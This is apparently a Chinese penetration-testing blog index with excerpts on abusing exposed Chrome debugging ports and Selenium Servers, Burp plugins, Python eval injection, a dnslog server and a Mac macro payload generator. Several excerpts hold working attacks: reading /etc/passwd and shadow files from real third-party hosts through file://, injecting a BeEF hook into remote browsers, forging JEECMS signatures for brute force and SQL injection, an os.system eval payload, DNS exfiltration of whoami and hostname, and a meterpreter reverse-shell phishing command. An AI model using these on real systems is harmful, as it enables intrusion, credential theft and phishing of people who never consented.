渗透技巧

初学puppeteer的碎碎念

初学puppeteer的碎碎念
【一】什么是puppeteer?          Puppeteer(中文翻译”木偶”) 是 Google Chrome 团队官方的无界面(Headless)Chrome 工具,它是一个 Node 库,提供了一个高级的 API 来控制 DevTools协议上的无头版 Chrome 。也可以使用完整正常的 Chrome浏览器。【二】一些基本操作安装安装可以用下面的命令:yarn add puppeteer 或者 npm i puppeteer基本环境        Nodejs 的版本不能低于 v7.6.0, 需要支持 async, await.        需要最新的 chrome driver, 这个你在通过 npm 安装 Puppeteer 的时候系统会自动下载的Demo代码const puppeteer = require('puppeteer'); (async () => {   const browser = await (puppeteer.launch({     executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium',     //设置超时时间     timeout: 15000,     //如果是访问https页面 此属性会忽略https错误     ignoreHTTPSErrors: true,     // 打开开发者工具, 当此值为true时, headless总为false     devtools: false,     // 关闭headless模式, 会打开浏览器     headless: false   }));   const page = await browser.newPage();   await page.goto('http://www.coffeehb.cn');   await page.screenshot({     path: 'poc.png',     type: 'png',     fullPage: true,   });   browser.close(); })();      执行demo文件命令: node  poc.js效果    demo的代码效果是加载安装puppeteer时下载的chrom-mac文件,新建页面加载博客地址,通过快照截图保存为poc.png文件。    puppeteer.launch 可以设置加载Chrome启动时的一些参数,可配置的参数可查看这个文档puppeteerlaunchoptions。        更多的关于这个工具的用法可以查看官方的API文档    导出PDF          需要注意的是,导出PDF的功能只能在headless模式下工作,即:headless: true 关键代码:await page.goto('http://killbit.me/'); await page.screenshot({path: 'bit.png'}); await page.pdf({path: 'bit.pdf', format: 'A4'}); await browser.close();          上面的操作是导出PDF和快照留图。          实测导出的图片看着还很OK,有时候导出的PDF就看不下去了,黑白的,文字还错乱了比如上面的代码。【三】Chrome Devtools Protocol           Chrome远程调试协议(我们简称: CDP),Chrome开发者工具前端开发者和白帽子应该都用得比较多。Chrome Devtools Protocol 是Chrome浏览器提供的用来支持远程对Chrome浏览器进行调试用的协议。本文学习的puppeteer就是用nodejs编写的,支持CDP协议调用的前端自动化测试框架。            为了便于我们了解,顺便理解学习CDP,准备了如下代码:const puppeteer = require("puppeteer"); (async () => {   const browser = await puppeteer.launch({    executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium',     headless: true,     devtools: false,     args:['--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'],   });   const wsendpoint = await browser.wsEndpoint();   console.log(wsendpoint); })();        上面的代码,实现了启用一个Chrome 以headless模式,并在本地0.0.0.0监听了10516端口,支持CDP协议的远程调试。        截图如下:            打开浏览器访问一下地址:http://127.0.0.1:10516/ 看看是什么呢?        看着这个可能第一反应不知道怎么玩,快速学习一下下面的几个API。             http://127.0.0.1:10516/json :查看已经打开的Tab列表            http://127.0.0.1:10516/json/version : 查看浏览器版本信息            http://127.0.0.1:10516/json/new?http://www.baidu.com : 新开Tab打开指定地址            http://127.0.0.1:10516/json/close/92615aad-5862-48d5-983d-248468e9741a : 关闭指定Id的Tab页面            http://127.0.0.1:10516/json/activate/92615aad-5862-48d5-983d-248468e9741a : 切换到指定Id的Tab页面        学过这几个API,你就知道该怎么玩了...于是乎测试一波吧,通过傻蛋搜索一波关键字:Headless remote debugging, 找一个玩玩如下。(别问我为什么想着去搜一波别人的,不玩127.0.0.1因为总有一种hack别人的刺激感吧!)         找到一个地址:http://45.55.134.189:8081/         利用上面的API,一顿猛如虎的操作如下。                1. 打开一个tab,利用file打开文件passed                    http://45.55.134.189:8081/json/new?file:///etc/passwd                2. 查看当前的Tab列表                    http://45.55.134.189:8081/json             3. 找到devtoolsFrontendUrl地址,然后访问一波(修改localhost为IP)                   http://45.55.134.189:8081/devtools/inspector.html?ws=45.55.134.189:9222/devtools/page/(3ACA0D386B9653306433056EFD96065C)            关于Chrome 的Headless搜索一下有很多是用来做爬虫的文章,Headless 又和CDP协议分不开,在之前我看过有大佬用CHrome Headless做前端XSS扫描的文章。地址:初见 Chrome Headless 第二弹             这个也学习实验了一把,将上面的代码做做修改,因为Chrome默认有XSS的过滤,于是修改启用加载参数。args:['--disable-xss-auditor','--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'],            为了直观效果,我们可以不用headless模式,我们就来看看浏览器的和利用CDP协议 hook到弹窗的效果,            代码做了小小改动如下:        启动服务代码如下:const puppeteer = require("puppeteer"); (async () => {   const browser = await puppeteer.launch({    executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium',     headless: false,     devtools: false,     args:['--disable-xss-auditor','--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'],   });   const wsendpoint = await browser.wsEndpoint();   console.log(wsendpoint); })();        先运行Server启动一个浏览器监听10516端口做远程调试,然后执行py脚本,效果如下:【六】Refererhttps://jeffjade.com/2017/12/17/134-kinds-of-toss-using-puppeteer/https://segmentfault.com/a/1190000011627343http://www.r9it.com/20171106/puppeteer.htmlhttp://www.siyuweb.com/javascript/3052.html... 继续阅读 »
渗透技巧

谈谈Selenium Server的安全问题

谈谈Selenium Server的安全问题
1. 开篇        不知道大家在平日工作中有没有遇到过一些端口,使用浏览器打开是下面这样子的:上图中我找了几个在不同端口下的例子。2. Selenium-开源的自动化测试利器      本篇主要的主角-Selenium究竟是什么呢?有过QA经验或安全自动化测试经验的朋友应该知道,以下文字来自百度百科:Selenium[1]  是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla Firefox,Safari,Google Chrome,Opera等。支持自动录制动作和自动生成 .Net、Java、Perl等不同语言的测试脚本。       官网地址:https://www.seleniumhq.org/         Github地址:https://github.com/SeleniumHQ/selenium/wiki/Grid2      selenium支持本地和远程浏览器的自动化测试,在远程调用浏览器时需要在远程服务器上启动一个SeleniumServer,它会负责远程浏览器的启用和你的自动化脚本的执行。   官方给出的启用该SeleniumServer的命令:java -jar selenium-server-standalone-<version>.jar -role node  -hub http://localhost:4444/grid/register   那么脚本远程调用可以如下://第一个参数:表示服务器的地址。第二个参数:表示预期的执行对象,其他的浏览器都可以以此类推 WebDriver driver = new RemoteWebDriver(new URL("http://localhost:4444/wd/hub/"), DesiredCapabilities.chrome());       路径/wd/hub/我是怎么知道的?       1. 点开console,自动跳转知道的。       2. 百度selenium remote 知道的       3. 查看源码发现是默认的- 源码     通过阅读源码能发现默认的端口为4444,如下图所示:     下面是一个python写的远程调用的Demo:   3. Selenium-server分析       为了方便我们分析,我在Mac下启用一个Sever, 服务端就是一个独立端JAR文件,下载地址:点击下载      可以直接这样启用:浏览器访问,打开console看看,如下图:                  Selenium Server 给每一个远程调用浏览器进行自动化任务分配一个Session会话,该控制台可以新创建会话,可以在页面上给每一个会话下发自动化脚本到每一个会话对应到浏览器上执行。     观察加载Console页面时,加载了一个叫client.js的文件,从这个文件中可以找到一些有用的调用接口,比如我的地址:http://127.0.0.1:4444/wd/hub/ ,当前的SessionId为,179220de83fee4d6090502b003b692a0 简单整理可以GET访问的URL地址如下:GET 方式 - BaseUrl = http://127.0.0.1:4444/wd/hub  URL ==> 对应函数 /sessions ==> getSessions 获取当前所有打开浏览器的Session信息 /status ==> getStatus 获取当前Server状态  /session/179220de83fee4d6090502b003b692a0/url ==> getCurrentUrl  获取当前浏览器打开的URL /session/179220de83fee4d6090502b003b692a0/alert_text ==> getAlertText  获取弹窗内容 /session/179220de83fee4d6090502b003b692a0/source ==> getPageSource  获取网页源码 /session/179220de83fee4d6090502b003b692a0/screenshot ==> screenshot   网页快照,返回Base64图片 /session/179220de83fee4d6090502b003b692a0/cookie ==> getCookies  获取当前页面Cookie上面的只是举例说明,完整的接口定义可以去GitHub上看WIKI说明,地址:https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol     现在我们知道了Selenium Server给我们提供了很多API接口以供我们使用来完成我们对远程浏览器对控制操作,下面看看我们就一起研究下能怎么玩?      4.  构想和实施你的玩法        问题:               在敌人后方,你拿到了一个完全可控的浏览器后,你能做些什么?        针对这种,下面是暂时想到的玩法。        4.1 实施对敌方远程浏览器自动化作业的监控(偷视)           利用上面学习的知识,我们通过接口:http://127.0.0.1:4444/wd/hub/sessions          发现存在着有效的Session正在作业如图:        哪么我们可以通过自己编写脚本,调用API接口,实时获取该浏览器的信息。如:        获取当前URL              比如下面展示的,某一个浏览器正在进行重置密码的-自动化操作,我们可以通过API接口实时拿到该浏览器当前的URL地址。(很关键拿到这个URL就可以为所欲为了。。。)获取网页快照        当然这个返回的是页面截图的Base64,转化一下如下:      如果只是简单的URL监控,思路利用burpsuite就可以实现,这里我实验了一下,如图:     利用这类思路,我们可以自己编写脚本利用其提供的API接口,对网络空间里的这类Selenium Server的行为进行24h的实时监控,记录其xx行为。        4.2 以此为跳板,对内网实施攻击              利用Selenium Server对特点,创建或者可控一个正在作业的远程浏览器,向内网发起攻击。           说到利用跳板发起内网攻击,可能最开始想到的是被大家玩出花的SSRF了。相比一般的SSRF漏洞,这里我们手里拿到的攻击筹码是远超过一般的SSRF漏洞的。敌方后防一个完全可控的浏览器,能够下发任意的JS代码,控制浏览器访问任意的URL这简直不能再爽!            这里可以做一下实践,测试代码的demo如下:                        这里的hook.js文件可以为任意XSSRays的hook文件,这里的是用的beef,在测试中这个hook.js文件还需要做点改动才能加载执行。(前端学的太渣)                     这里的demo代码,实现的是连接远程Selenium Server,打开一个网页,然后在当前网页动态加载一个hook.js文件。动态加载的代码部分是这样实现的:        这里通过selenium 提供的execute_script函数,在远程浏览器执行一段JS,js内容是加载远程的JS文件,这里默认加载的beef的hook文件是没有执行的,需要做改动如下:        经过上面的改动,现在就可以成功的注入beef的js文件并执行上线了,效果如下图:            测试到此,同理想必也应该知道挖矿JS怎么注入进去了吧?               4.3 file协议任意文件读取            我们知道浏览器支持使用file协议读取本地系统的文件,哪么我们可以利用控制的远程浏览器利用file协议读取系统敏感文件,甚至是重要的shadow等口令文件           在测试实践中,我找了几台靶机尝试读取系统/etc/passwd文件,发现甚至有的可以读取shadow文件。准备测试脚本很简单,几行代码比如:def test_readfile(driver_url = '', filename=''):     driver = webdriver.Remote(command_executor='http://' + driver_url + '/wd/hub',                               desired_capabilities=DesiredCapabilities.CHROME)     driver.get("file://%s" % filename)     print driver.page_source     driver.quit()        然后结果就是这样的:      甚至读取到了shadow              当然最简单的方式是直接在Console里直接操作,步骤:Create a New Session -> chrome or firefox -> Load Script ->添入 file:///etc/passwd 然后OK -> 然后 Take a ScreenShot 你就能看到了。下面是测试的截图        看到这里,是不是震惊了?赶紧回去问问你们的研发,你们的QA,有没有用到它,小心菊花不保!!         4.4 远程挖矿              近两年来很流行的浏览器挖矿           从去年6月后吧,利用浏览器进行虚拟货币挖矿的事件越来越多来,网站代码中暗藏JS挖矿机脚本            挖矿脚本上GitHub一搜索就能找到很多,Github搜索地址 这里就不做过多测试了,不玩这个!      5. 网络空间调查     使用Shodan, Censys, Zoomeye, FOFA 等一些知名的网络搜索引擎进行关键字搜索,看看网络空间里有多少Selenium Server以及分布情况。    Zoomeye        搜索地址:搜索链接        搜索结果如下图:        搜索发现在Zoomeye引擎中记录,在整个网络空间中存在有大约有 1.5万左右的Selenium Server运行着。       FOFA引擎   搜索地址:搜索链接        使用FOFA引擎,匿名用户 normal模式进行搜索,获得了1.3k左右的记录搜索结果:  Shodan引擎     搜索地址:搜索链接      在SHODAN引擎中关键字搜索,仅44条记录。      搜索结果:          SHODAN引擎主要采集基础组件端口信息,采集网页信息较少,所以用网页关键字:SeleniumHQ 搜索的结果较少,但是我们如果搜索Selenium Server 所使用的组件 Jetty,就会发现搜索结果比较多了,如下图所示。这些结果中一定存在一定数量的Selenium Server运行着的。  搜索地址:搜索链接搜索结果:6. 进一步研究方向   能想到的可行的研究方向:   1. 网络空间的基于Selenium的自动化攻击监控          从网络空间搜索引擎里采集Selenium Server服务端IP,实时采集并记录其远程浏览器的自动化行为。  2. 主动探测网络空间里部署Selenium Server服务器分布  使用探测工具主动探测存在于网络空间的Selenium Server分布情况,记录和观测这些探测得到的IP,这些IP都有自动化攻击,薅羊毛的潜在可能。   ... 继续阅读 »
Python编程

【burp插件】—— JEECMS 签名助手

【burp插件】—— JEECMS 签名助手
   题外话         18年想提高一下自己的代码审计能力,重点放在JAVA系和Python系。JAVA是我入门学习的第一门语言也是大学陪伴最久的,会一直爱下去。Python是我用的最多最喜欢的,Python是世界上最好的语言。  起因 & 签名分析        写这个插件的原因是在测试JEECMS后台时,用burp修改了一个参数的,在返回结果中看到提示了签名错误,如下图:     很明显这里后端对参数做了签名验证,其中请求中对参数sign就是签名的hash. 于是Debug来看看。先修改参数:通过下断点,发现后端会将请求参数全部拿来做签名计算,签名计算就是一个MD5计算,其中的appKey会被拼接到字符串后面,然后对字符串做一次MD5计算,这个MD5值会与前端传过来的sign判断是否一致,如果一致则签名判断通过,不一致则说明参数被篡改了。签名计算方式:现在唯一的问题就是,随意一个JEECMS的站,那个appKey怎么知道呢?这个Key是admin用户的唯一值,在数据库位置:我们知道sign是签名hash那么,参数是在前端经过签名的,那么前端一定有这个appKey的值,于是打开F12在JS文件中可以找到这个值。官方Demo站:    签名插件编写:我们知道了签名校验方式和过程了,现在就知道怎么写这个burp插件了。     1. 将请求参数拦截下来     2. 将参数+appKey进行拼接并做MD5计算     3. 用新的hash替换参数sign的值     4. burp发出请求,成功返回。编写burp插件-python版本代码如下:from burp import IBurpExtender from burp import IHttpListener from java.io import PrintWriter import hashlib import urllib print "Hack Jeecms Sign By Nerd." class BurpExtender(IBurpExtender, IHttpListener):     def registerExtenderCallbacks(self, callbacks):         self._callbacks = callbacks         self._helpers = callbacks.getHelpers()         callbacks.setExtensionName("Hack JeeCMS Sign")         callbacks.registerHttpListener(self)         self.stdout = PrintWriter(callbacks.getStdout(), True)         self.stderr = PrintWriter(callbacks.getStderr(), True)         callbacks.issueAlert("Loaded Successfull.")     def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):         if messageIsRequest:             requestInfo = self._helpers.analyzeRequest(currentRequest)             self.headers = list(requestInfo.getHeaders())             hook_host = requestInfo.getUrl().getHost()             bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]             self.body = self._helpers.bytesToString(bodyBytes)             o,n = self.update_sign(urllib.unquote(self.body))             self.body = self.body.replace(o,n)             print self.body             newMessage = self._helpers.buildHttpMessage(self.headers, self.body)             currentRequest.setRequest(newMessage)         # Process responses         else:             pass     def update_sign(slef, body=""):         try:             old_sign = ""             # defalut appKey             appKey = "Sd6qkHm9o4LaVluYRX5pUFyNuiu2a8oi"             #appKey = "uicxsXYso7DJxlrFdgQnVVXW5OCzU74h"             hash_param = ""             param_list = body.split("&")             temp_dict = {}             for pa in param_list:                 t = pa.split("=")                 temp_dict[t[0]] = t[1]             tmmmm = temp_dict.items()             tmmmm.sort()             for (k, v) in tmmmm:                 if k == "sign":                     old_sign = v                     print "old sign = ",v                     continue                 hash_param += "%s=%s&" % (k, v)             hash_param += "key=" + appKey             sign = hashlib.md5(hash_param).hexdigest()             print "new sign = ",sign.upper()             return old_sign,sign.upper()         except Exception, e:             print e             return "",""    效果:    模拟对JEECMS后台进行爆破攻击,没有加载插件之前是这样对效果:全部提示签名错误加载插件以后:加载插件后,长度640为签名错误的情况,仅有2次签名错误,通过这个插件就可以爆破,SQL注入等为所欲为的操作了。代码GitHub地址: hackSign.py... 继续阅读 »
Python编程

【burp插件】— Cookie Via XSS

【burp插件】— Cookie Via XSS
        每当通过XSS打到了Cookie后,需要替换Cookie进行使用时,可以试一试这个插件。提示信息说明:        CookieXSS Code By Nerd.        Write Your Cookie into file: /Users/komi/PycharmProjects/BurpExtends/CookieViaXss/cookie.txt         Like:        domain=baidu.com        bid=c5/a==; BaiLoginName=test;SessionID=F21DFEWFAFFAFQFQEFAFAEF;        domain:       设置当前的Cookie替换域,即:启用该插件后,经过burp的*.baidu.com的域名的流量都会替换使用该Cookie.剩下的数据都是XSS 获取到的Cookie值.bid=c5/a==; BaiLoginName=test;SessionID=F21DFEWFAFFAFQFQEFAFAEF;效果:代码地址:https://github.com/coffeehb/tools/tree/master/Cookie%20Via%20XSS... 继续阅读 »
思考人生

2017.12.09

2017.12.09
有时候再好的技术,也胜不过一份好的履历.... 继续阅读 »
渗透技巧

python中eval

python中eval
python中eval 今天在审计python代码中看到了eval,于是这里做一个小笔记。 假设场景 有如下场景,eval("obj."+ hack)中hack是可控的,obj是一个对象如模块os. 攻击与利用 对于上面的场景,如果eval的参数完全可控的话,要利用就十分简单了。比如: 如果参数只是eval的一部分为数字,利用可以像下面的方式: 比较麻烦的是前面一部分假设场景的那种,里面是一个对象,比如: import os obj = os eval("obj."+hack) 或者 eval("hello"+hack) 或者 eval("hello."+hack) 这个时候的payload是: hack = "**init**,**import**('os').system('id')" 或者: hack = ".**init**,**import**('os').system('id')" 这里利用的是,字符串或者对象都有的默认的函数:init(),从而实现的: 测试如下图: 说明: 因为MD的格式问题,** 是双下划线的意思,看图就知道了。 找到的相关的几篇好文章: http://www.freebuf.com/articles/web/73658.html http://www.freebuf.com/articles/web/73669.html http://ju.outofmemory.cn/entry/195486... 继续阅读 »
渗透工具

如何用一个域名搭建一套dnslog平台

如何用一个域名搭建一套dnslog平台
前几天在大土司上看到有大佬分享了一套dnslog平台代码,地址: https://github.com/LandGrey/dnstricker 该代码从最之前的BugScan的DNSLog二次开发而来,dnslog对于盲测有重要的意义。(听过CplusHua的盲攻击课程的人应该最能体会到)。下面记录的是我如何用一个域名+一台VPS完成一套dnslog平台的搭建。 1. 准备 买一了个域名coffeehb.cn 买了一台VPS Ubuntu 16.04x64 2.万网域名配置: 2.1 添加1个A记录指向我们的VPS 比如我这里: gitscan.coffeehb.cn 指向 47.52.234.114 2.2 添加2个NS记录指向,上一条的地址 比如我这里: dns.coffeehb.cn 和 dns1.coffeehb.cn 指向 gitscan.coffeehb.cn 3. 下载dnstricker代码使其跑起来 这里环境部署,依赖的模块,生成数据库操作等就不说了,GitHub的文档里有说明的。 直接说需要特别修改的配置地方。 3.1 修改dnstricker.py文件 修改dnstricker.py文件将126-128行的代码修改为实际的环境 比如我改成这样的: dns_domain = 'dns.coffeehb.cn' ip_address = '47.52.234.114' default_ip = '192.168.1.1' 3.2 修改/dnstricker/logeyes/dnslog/settings.py文件 需要修改的项和值如下: 做dns记录的域名 DNS_DOMAIN = 'dns.coffeehb.cn' 记录管理的域名 ADMIN_DOMAIN = 'dnslog.coffeehb.cn' NS域名 NS1DOMAIN = 'dns.coffeehb.cn' NS2DOMAIN = 'dns1.coffeehb.cn' 服务器外网地址 SERVERIP = '47.52.234.114' 允许的HOSTS ALLOWEDHOSTS = [".coffeehb.cn"] KEY SECRET_KEY=随便修改其中的某些位,随机的就OK 4. Nginx的配置文件 修改提供的nginx.conf文件中的server为实际环境,比如我的配置如下: 到这里所有的特殊配置就完成了,其他的那些Django的操作部分就自行解决吧。 特别注意一点,在添加前台用户的时候这个Udomain是个人唯一域名: 比如下面的测试账号: 5. 运行和测试 nohup python manage.py runserver 127.0.0.1:10101 & 登录测试账号测试DNSlog是否起作用 测试账号的Udomain为hack,所以所有的请求 *.hack.dns.coffeehb.cn的记录都会被记录下来,该用户可以通过登录控制台查看得到的。 测试命令: ping`whoami`.`hostname`.hack.dns.coffeehb.cn 测试截图如下: 6. 后话 基本完成了1个域名搭建一套自己的DNSLog的需求 nginx最好配置使用80端口,因为代码里很多跳转写死了. DNS记录和HTTP记录可以优化一下,根据IP去重不然记录的东西太多太杂了.... 继续阅读 »
渗透技巧

CNVD,Exploit-DB,0day-today漏洞信息采集实现

CNVD,Exploit-DB,0day-today漏洞信息采集实现
CNVD, Exploit-DB,0day-today漏洞信息采集工具 背景 最近因为工作需要,自己写了一点小程序从CNVD,Exploit-DB,0day-today采集一些web相关的漏洞信息,然后根据需要的字段把采集回来的信息存储在mysql数据库中。 问题和解决思路 CNVD和0day-today都有云加速服务带来的前端浏览器检查,用传统办法构造http包形式进行信息爬取办法行不通,逆向分析前端校验JS程序成本太高(这里有一篇别人曾经的分析http://www.test404.com/post-776.html)。这类工具其实就是一个爬虫程序,要实现爬虫程序有很多方式, 经过对要采集的网站进行分析,最后使用了selenium 驱动浏览器来实现的成本最低。 简析源码 1)CNVD采集脚本实现 第一步获取所有的漏洞链接: 可以从下面这个地址去取得: http://www.cnvd.org.cn/flaw/typeResult?max=100&offset=1&typeId=29 我这里使用正则表达式去获取每一个漏洞的CNVD编号 reg = 'CNVD-[\d-]+' find = re.compile(reg) all_CNVDs = [] url = "http://www.cnvd.org.cn/flaw/typeResult?max=100&offset=%s&typeId=29" % str(offset) html = self.getHtml(url, 3, 3) new_vulns = find.findall(html) if len(new_vulns) > 1: all_CNVDs += new_vulns else: print "nothing ....." return all_CNVDs 第二步再构造查看漏洞具体信息的地址: 比如: http://www.cnvd.org.cn/flaw/show/CNVD-2017-28254 然后再去解析出每一个字段,这里主要使用BeautifulSoup去解析html. 实现的脚本文件是:/cnvd/VulnsColect.py 2) Exploit-DB采集实现 exploit-db是最友好的网站了,没有前端的浏览器检查机制,这里完全可以用传统的python+requests或者爬虫框架来实现。 同样需要关注的2个接口 获取漏洞链接: https://www.exploit-db.com/webapps/?orderby=datepublished&order=desc&pg=1 获取详细信息: https://www.exploit-db.com/exploits/43053/ 实现的脚本文件是:exploitdb/crawler.py 3) 0day.today采集 这个网站的采集和CNVD的差不多,但是因为这个网站在国外加上有前端浏览器检查,所以加载速度特别慢。 不过思路大致一样: 从如下面的接口去解析漏洞的链接: http://0day.today/platforms/asp/1 然后再用BeautifulSoup去解析出各个需要保存的字段,一看代码就能明白的。 最后的数据截图: 下载地址 下载地址... 继续阅读 »
渗透工具

【macphish】Office for Mac Macro Payload Generator

【macphish】Office for Mac Macro Payload Generator
Office for Mac Macro Payload Generator 一款用于Mac下Office利用宏生成反弹shell Payload的工具 GitHub开源地址: macphish 官方wiki: Usage 下面使用Mac + Office 2016 + msf的meterpreter进行测试, 根据wiki说明只能使用payload类型为python 的。 第一步:生成payload ./macphish.py -lh 127.0.0.1 -lp 65511 -p python/meterpreter/reverse_http -a meterpreter -m 第二步:制作word文件,插入宏代码 插入生成的payload文件: 第三步:打开msf监听 这里GET新技巧,可以把下面的代码保存为sh文件,配置到环境变量,比如我的Mac配置: 我这样配置以后,每次只需要打开终端,输入:startmsf 即可 最后:双击打开testme测试文档获得shell 这个工具还是很有用处,生成的payload过了大部分杀软,专门对Mac用户做钓鱼是极好的!!! 绝密:绝密文件... 继续阅读 »
渗透技巧

又一个MVC对象自动绑定变量导致任意密码重置漏洞案例

又一个MVC对象自动绑定变量导致任意密码重置漏洞案例
本案例在测试客户的WEB系统时遇到,这里做一下复现笔记,记录一种姿势!! 关于MVC的对象自动绑定的说明可以看这篇: http://agrrrdog.blogspot.ru/2017/03/autobinding-vulns-and-spring-mvc.html 复现过程如下: 输入账号,填写验证码 配置burp代理,点击“下一步” 抓包 抓到原始的请求 添加email=hacker@qq.com 发送成功 收到邮件 重置密码: 8.成功重置 思考与讨论: 1. 这种漏洞感觉很有意思,如何做自动化测试或半自动化fuzz? 2. 以后见到JAVA WEB类网站,一定别忘了这种姿势啊!!!不能忘!!不能忘!!! 3. 后来发现,凡是修改信息的地方,这种姿势都能有效,哪么一种越权漏洞就产生了,甚至利用面还有更广的?... 继续阅读 »